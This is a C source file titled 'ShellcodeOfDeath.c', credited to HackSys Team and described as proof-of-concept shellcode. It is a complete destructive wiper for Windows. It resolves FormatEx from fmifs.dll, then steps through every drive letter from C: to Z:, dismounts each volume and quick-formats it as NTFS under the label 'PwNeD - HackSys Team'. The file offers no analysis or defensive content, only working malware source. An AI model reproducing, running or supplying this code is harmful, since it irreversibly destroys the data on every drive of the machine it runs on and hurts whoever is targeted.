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ShellcodeOfDeath.c
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145 lines (115 loc) · 3.79 KB
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#include <windows.h>
#include <WinIoCtl.h>
#define _UNICODE 1
/*
_ __ _____
/\ /\__ _ ___| | __/ _\_ _ ___ /__ \___ __ _ _ __ ___
/ /_/ / _` |/ __| |/ /\ \| | | / __| / /\/ _ \/ _` | '_ ` _ \
/ __ / (_| | (__| < _\ \ |_| \__ \ / / | __/ (_| | | | | | |
\/ /_/ \__,_|\___|_|\_\\__/\__, |___/ \/ \___|\__,_|_| |_| |_|
|___/
http://hacksys.vfreaks.com/
hacksysteam@hotmail.com
Author:
Ashfaq Ansari
hacksysteam@hotmail.com
Thanks:
Mark Russinovich (Systems Internals - http://www.sysinternals.com)
Module Name:
Shellcode Of Death
Abstract:
This is a proof of concept shellcode in C format.
IDE:
Dev-C++ 4.9.9.2 (Windows XP SP3)
Compiler:
gcc 3.4.2
*/
typedef enum {
PROGRESS,
DONEWITHSTRUCTURE,
UNKNOWN2,
UNKNOWN3,
UNKNOWN4,
UNKNOWN5,
INSUFFICIENTRIGHTS,
UNKNOWN7,
VOLUME_IN_USE,
CANT_QUICK_FORMAT,
UNKNOWNA,
DONE,
UNKNOWNC,
UNKNOWND,
OUTPUT,
STRUCTUREPROGRESS
} CALLBACKCOMMAND;
typedef BOOLEAN (__stdcall *PFMIFSCALLBACK)( CALLBACKCOMMAND Command,
DWORD SubAction,
PVOID ActionInfo );
typedef VOID (__stdcall *PFORMATEX)( PWCHAR DriveRoot,
DWORD MediaFlag,
PWCHAR Format,
PWCHAR Label,
BOOL QuickFormat,
DWORD ClusterSize,
PFMIFSCALLBACK Callback );
PFORMATEX FormatEx;
BOOLEAN __stdcall FormatExCallback( CALLBACKCOMMAND Command,
DWORD Modifier,
PVOID Argument )
{
return TRUE;
}
int main( )
{
int i;
int res;
char szVolumeAccessPath[] = "\\\\.\\X:";
DWORD dwRet;
HANDLE hVolRead;
PWCHAR DriveList[] = {L"C:", L"D:", L"E:", L"F:", L"G:", L"H:", L"I:",
L"J:", L"K:", L"L:", L"M:", L"N:", L"O:", L"P:",
L"Q:", L"R:", L"S:", L"T:", L"U:", L"V:", L"W:",
L"X:", L"Y:", L"Z:"};
WCHAR RootDirectory[MAX_PATH];
LoadLibrary( "fmifs.dll" );
FormatEx = (void *) GetProcAddress(GetModuleHandle("fmifs.dll"),
"FormatEx");
for ( i = 0; i <= 23; i++){
wcscpy( RootDirectory,DriveList[i] );
RootDirectory[2] = L'\\';
RootDirectory[3] = (WCHAR) 0;
szVolumeAccessPath[4] = RootDirectory[0];
//Get the handle to the drive
hVolRead = CreateFile(szVolumeAccessPath,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
// dismount the file system
// no need to lock the volume
// once dismounted all the handles will be invalid
res = DeviceIoControl(hVolRead,
FSCTL_DISMOUNT_VOLUME,
NULL,
0,
NULL,
0,
&dwRet,
NULL);
// Close the handle
CloseHandle(hVolRead);
//Format the drive
//Proceed to next drive if error occurs
FormatEx(RootDirectory,
0xC,
L"NTFS",
L"PwNeD - HackSys Team",
TRUE,
4096,
FormatExCallback );
Sleep(200);
}
return 0;
}